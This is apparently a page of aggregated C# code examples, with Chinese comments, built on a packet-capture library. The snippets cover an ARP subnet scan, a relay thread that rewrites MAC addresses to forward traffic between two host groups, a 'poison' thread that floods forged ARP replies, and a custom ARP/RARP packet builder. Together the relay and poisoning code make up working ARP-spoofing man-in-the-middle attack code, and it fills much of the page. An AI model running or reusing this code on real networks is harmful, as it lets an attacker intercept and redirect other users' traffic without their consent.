Esempio n. 1
0
        /// <summary>
        ///     设备扫描发包线程。
        /// </summary>
        /// <param name="obj">地址列表。</param>
        private void ScanPacketSendThread(object obj)
        {
            try {
                // 获取当前设备
                var device = DeviceList[CurDevName];

                // 获取地址列表
                var ipAddresses = (List <IPAddress>)obj;

                // 构建包信息
                var ether = new EthernetPacket(device.MacAddress,
                                               new PhysicalAddress(new byte[] { 255, 255, 255, 255, 255, 255 }),
                                               EthernetPacketType.Arp);
                var arp = new ARPPacket(ARPOperation.Request,
                                        new PhysicalAddress(new byte[] { 0, 0, 0, 0, 0, 0 }),
                                        new IPAddress(new byte[] { 0, 0, 0, 0 }),
                                        device.MacAddress,
                                        Ipv4Address)
                {
                    HardwareAddressType = LinkLayers.Ethernet,
                    ProtocolAddressType = EthernetPacketType.IPv4
                };
                ether.PayloadPacket = arp;
                arp.ParentPacket    = ether;

                // 根据目标地址信息发送ARP请求
                foreach (var targetAddress in ipAddresses)
                {
                    arp.TargetProtocolAddress = targetAddress;
                    arp.UpdateCalculatedValues();
                    device.SendPacket(ether);
                }
            }
            catch (ThreadAbortException) { }
        }
Esempio n. 2
0
        /// <summary>
        ///     包转发线程。
        /// </summary>
        private void RetransmissionThread()
        {
            try {
                while (true)
                {
                    // 从队列中请求一个数据包
                    RawCapture packet;
                    if ((packet = NextRawCapture) != null)
                    {
                        // 分析数据包中的数据
                        var ether = new EthernetPacket(new ByteArraySegment(packet.Data));

                        // 由本机发出的数据包,忽略
                        if (ether.SourceHwAddress.Equals(_device.MacAddress))
                        {
                            continue;
                        }

                        if (ether.Type == EthernetPacketType.IPv4)
                        {
                            // 解析IPv4包
                            var ipv4Packet = (IPv4Packet)ether.PayloadPacket;
                            if (OnIPv4PacketReceive != null)
                            {
                                OnIPv4PacketReceive.Invoke(ipv4Packet, out var isHandled);
                                if (isHandled)
                                {
                                    continue;
                                }
                            }

                            // 组1或组2接收的数据包
                            if (_hashTable[ipv4Packet.DestinationAddress.GetHashCode()] is Host dest)
                            {
                                ether.DestinationHwAddress = dest.PhysicalAddress;
                            }
                            // 组1或组2发送的数据包且接收者并非本机
                            else if (_hashTable[ipv4Packet.SourceAddress.GetHashCode()] is Host && !ipv4Packet.DestinationAddress.Equals(_deviceAddress))
                            {
                                ether.DestinationHwAddress = _gateway.PhysicalAddress;
                            }
                            // 不需要转发数据包
                            else
                            {
                                continue;
                            }

                            // 转发数据包到指定目标
                            ether.SourceHwAddress = _device.MacAddress;
                            _device.SendPacket(ether);
                        }
                        else if (ether.Type == EthernetPacketType.Arp)
                        {
                            // 解析ARP包
                            var arp = (ARPPacket)ether.PayloadPacket;

                            // 非两组间发送的数据包,跳过
                            if (_hashTable[arp.SenderProtocolAddress.GetHashCode()] == null ||
                                _hashTable[arp.TargetProtocolAddress.GetHashCode()] == null)
                            {
                                continue;
                            }

                            // 构建包信息
                            var e = new EthernetPacket(_device.MacAddress,
                                                       arp.SenderHardwareAddress,
                                                       EthernetPacketType.Arp);
                            e.UpdateCalculatedValues();
                            var a = new ARPPacket(ARPOperation.Response,
                                                  arp.SenderHardwareAddress,
                                                  arp.SenderProtocolAddress,
                                                  _device.MacAddress,
                                                  arp.TargetProtocolAddress)
                            {
                                HardwareAddressType = LinkLayers.Ethernet,
                                ProtocolAddressType = EthernetPacketType.IPv4
                            };
                            a.UpdateCalculatedValues();

                            e.PayloadPacket = a;
                            a.ParentPacket  = e;

                            // 发送响应包到指定目标
                            _device.SendPacket(e);
                        }
                    }
                    else
                    // 队列尚未获得数据,挂起等待
                    {
                        Thread.Sleep(10);
                    }
                }
            }
            catch (ThreadAbortException) { }
        }
Esempio n. 3
0
        /// <summary>
        ///     毒化线程。
        /// </summary>
        /// <param name="obj">毒化的目标。</param>
        private void PoisonThread(object obj)
        {
            // 获取目标
            var host = (Host)obj;

            // 转存目标
            var targets = _target1.Contains(host) ? _target2.AsReadOnly() : _target1.AsReadOnly();

            // 构建包信息
            var ether = new EthernetPacket(_device.MacAddress,
                                           host.PhysicalAddress,
                                           EthernetPacketType.Arp);
            var arp = new ARPPacket(ARPOperation.Response,
                                    host.PhysicalAddress,
                                    host.IPAddress,
                                    _device.MacAddress,
                                    new IPAddress(new byte[] { 0, 0, 0, 0 }))
            {
                HardwareAddressType = LinkLayers.Ethernet,
                ProtocolAddressType = EthernetPacketType.IPv4
            };

            ether.PayloadPacket = arp;
            arp.ParentPacket    = ether;

            try {
                // 强毒化
                for (var i = 0; i < 20; i++)
                {
                    foreach (var target in targets)
                    {
                        arp.SenderProtocolAddress = target.IPAddress;
                        arp.UpdateCalculatedValues();
                        _device.SendPacket(ether);
                    }
                    Thread.Sleep(500);
                }

                // 弱毒化
                while (true)
                {
                    foreach (var target in targets)
                    {
                        arp.SenderProtocolAddress = target.IPAddress;
                        arp.UpdateCalculatedValues();
                        _device.SendPacket(ether);
                    }
                    Thread.Sleep(5 * 1000);
                }
            }
            catch (ThreadAbortException) {
                // 还原ARP
                foreach (var target in targets)
                {
                    ether.SourceHwAddress     = target.PhysicalAddress;
                    arp.SenderProtocolAddress = target.IPAddress;
                    arp.SenderHardwareAddress = target.PhysicalAddress;
                    arp.UpdateCalculatedValues();
                    for (var i = 0; i < 5; i++)
                    {
                        _device.SendPacket(ether);
                    }
                }
            }
        }
Esempio n. 4
0
        // ARP/RARP数据包封装函数
        private EthernetPacket ArPorRarpPacketMaker()
        {
            EthernetPacket ether;
            ARPPacket      arp;

            switch (ARPOperationComboBox.SelectedIndex)
            {
            case 0:     // ARP请求封包
                ether = new EthernetPacket(PhysicalAddress.Parse(MakeMaCaddr(SourceMAC1.Text, SourceMAC2.Text, SourceMAC3.Text, SourceMAC4.Text, SourceMAC5.Text, SourceMAC6.Text)),
                                           PhysicalAddress.Parse(MakeMaCaddr(DestMAC1.Text, DestMAC2.Text, DestMAC3.Text, DestMAC4.Text, DestMAC5.Text, DestMAC6.Text)),
                                           EthernetPacketType.Arp);

                arp = new ARPPacket(ARPOperation.Request,
                                    PhysicalAddress.Parse(MakeMaCaddr(DestMAC1.Text, DestMAC2.Text, DestMAC3.Text, DestMAC4.Text, DestMAC5.Text, DestMAC6.Text)),
                                    IPAddress.Parse(MakeIPaddr(DestIP1.Text, DestIP2.Text, DestIP3.Text, DestIP4.Text)),
                                    PhysicalAddress.Parse(MakeMaCaddr(SourceMAC1.Text, SourceMAC2.Text, SourceMAC3.Text, SourceMAC4.Text, SourceMAC5.Text, SourceMAC6.Text)),
                                    IPAddress.Parse(MakeIPaddr(SourceIP1.Text, SourceIP2.Text, SourceIP3.Text, SourceIP4.Text)))
                {
                    HardwareAddressType = LinkLayers.Ethernet,
                    ProtocolAddressType = EthernetPacketType.IPv4
                };

                if (DestMAC1.Text.ToUpper() == "FF" && DestMAC2.Text.ToUpper() == "FF" && DestMAC3.Text.ToUpper() == "FF" &&
                    DestMAC4.Text.ToUpper() == "FF" && DestMAC5.Text.ToUpper() == "FF" && DestMAC6.Text.ToUpper() == "FF")
                {
                    arp.TargetHardwareAddress = PhysicalAddress.Parse(MakeMaCaddr("00", "00", "00", "00", "00", "00"));
                }

                arp.UpdateCalculatedValues();

                ether.PayloadPacket = arp;
                arp.ParentPacket    = ether;

                return(ether);

            case 1:     // ARP响应封包
                ether = new EthernetPacket(PhysicalAddress.Parse(MakeMaCaddr(SourceMAC1.Text, SourceMAC2.Text, SourceMAC3.Text, SourceMAC4.Text, SourceMAC5.Text, SourceMAC6.Text)),
                                           PhysicalAddress.Parse(MakeMaCaddr(DestMAC1.Text, DestMAC2.Text, DestMAC3.Text, DestMAC4.Text, DestMAC5.Text, DestMAC6.Text)),
                                           EthernetPacketType.Arp);

                arp = new ARPPacket(ARPOperation.Response,
                                    PhysicalAddress.Parse(MakeMaCaddr(DestMAC1.Text, DestMAC2.Text, DestMAC3.Text, DestMAC4.Text, DestMAC5.Text, DestMAC6.Text)),
                                    IPAddress.Parse(MakeIPaddr(DestIP1.Text, DestIP2.Text, DestIP3.Text, DestIP4.Text)),
                                    PhysicalAddress.Parse(MakeMaCaddr(SourceMAC1.Text, SourceMAC2.Text, SourceMAC3.Text, SourceMAC4.Text, SourceMAC5.Text, SourceMAC6.Text)),
                                    IPAddress.Parse(MakeIPaddr(SourceIP1.Text, SourceIP2.Text, SourceIP3.Text, SourceIP4.Text)))
                {
                    HardwareAddressType = LinkLayers.Ethernet,
                    ProtocolAddressType = EthernetPacketType.IPv4
                };

                arp.UpdateCalculatedValues();

                ether.PayloadPacket = arp;
                arp.ParentPacket    = ether;

                return(ether);

            case 2:     // RARP请求封包
                ether = new EthernetPacket(PhysicalAddress.Parse(MakeMaCaddr(SourceMAC1.Text, SourceMAC2.Text, SourceMAC3.Text, SourceMAC4.Text, SourceMAC5.Text, SourceMAC6.Text)),
                                           PhysicalAddress.Parse(MakeMaCaddr(DestMAC1.Text, DestMAC2.Text, DestMAC3.Text, DestMAC4.Text, DestMAC5.Text, DestMAC6.Text)),
                                           EthernetPacketType.ReverseArp);

                arp = new ARPPacket(ARPOperation.RequestReverse,
                                    PhysicalAddress.Parse(MakeMaCaddr(DestMAC1.Text, DestMAC2.Text, DestMAC3.Text, DestMAC4.Text, DestMAC5.Text, DestMAC6.Text)),
                                    IPAddress.Parse(MakeIPaddr(DestIP1.Text, DestIP2.Text, DestIP3.Text, DestIP4.Text)),
                                    PhysicalAddress.Parse(MakeMaCaddr(SourceMAC1.Text, SourceMAC2.Text, SourceMAC3.Text, SourceMAC4.Text, SourceMAC5.Text, SourceMAC6.Text)),
                                    IPAddress.Parse(MakeIPaddr(SourceIP1.Text, SourceIP2.Text, SourceIP3.Text, SourceIP4.Text)))
                {
                    HardwareAddressType = LinkLayers.Ethernet,
                    ProtocolAddressType = EthernetPacketType.IPv4
                };

                arp.UpdateCalculatedValues();

                ether.PayloadPacket = arp;
                arp.ParentPacket    = ether;

                return(ether);

            case 3:     // RARP响应封包
                ether = new EthernetPacket(PhysicalAddress.Parse(MakeMaCaddr(SourceMAC1.Text, SourceMAC2.Text, SourceMAC3.Text, SourceMAC4.Text, SourceMAC5.Text, SourceMAC6.Text)),
                                           PhysicalAddress.Parse(MakeMaCaddr(DestMAC1.Text, DestMAC2.Text, DestMAC3.Text, DestMAC4.Text, DestMAC5.Text, DestMAC6.Text)),
                                           EthernetPacketType.ReverseArp);

                arp = new ARPPacket(ARPOperation.ReplyReverse,
                                    PhysicalAddress.Parse(MakeMaCaddr(DestMAC1.Text, DestMAC2.Text, DestMAC3.Text, DestMAC4.Text, DestMAC5.Text, DestMAC6.Text)),
                                    IPAddress.Parse(MakeIPaddr(DestIP1.Text, DestIP2.Text, DestIP3.Text, DestIP4.Text)),
                                    PhysicalAddress.Parse(MakeMaCaddr(SourceMAC1.Text, SourceMAC2.Text, SourceMAC3.Text, SourceMAC4.Text, SourceMAC5.Text, SourceMAC6.Text)),
                                    IPAddress.Parse(MakeIPaddr(SourceIP1.Text, SourceIP2.Text, SourceIP3.Text, SourceIP4.Text)))
                {
                    HardwareAddressType = LinkLayers.Ethernet,
                    ProtocolAddressType = EthernetPacketType.IPv4
                };

                arp.UpdateCalculatedValues();

                ether.PayloadPacket = arp;
                arp.ParentPacket    = ether;

                return(ether);

            default:
                OutputBox.AppendText("错误出现在ARP/RARP数据包上,封装数据包失败。\r\n");
                return(null);
            }
        }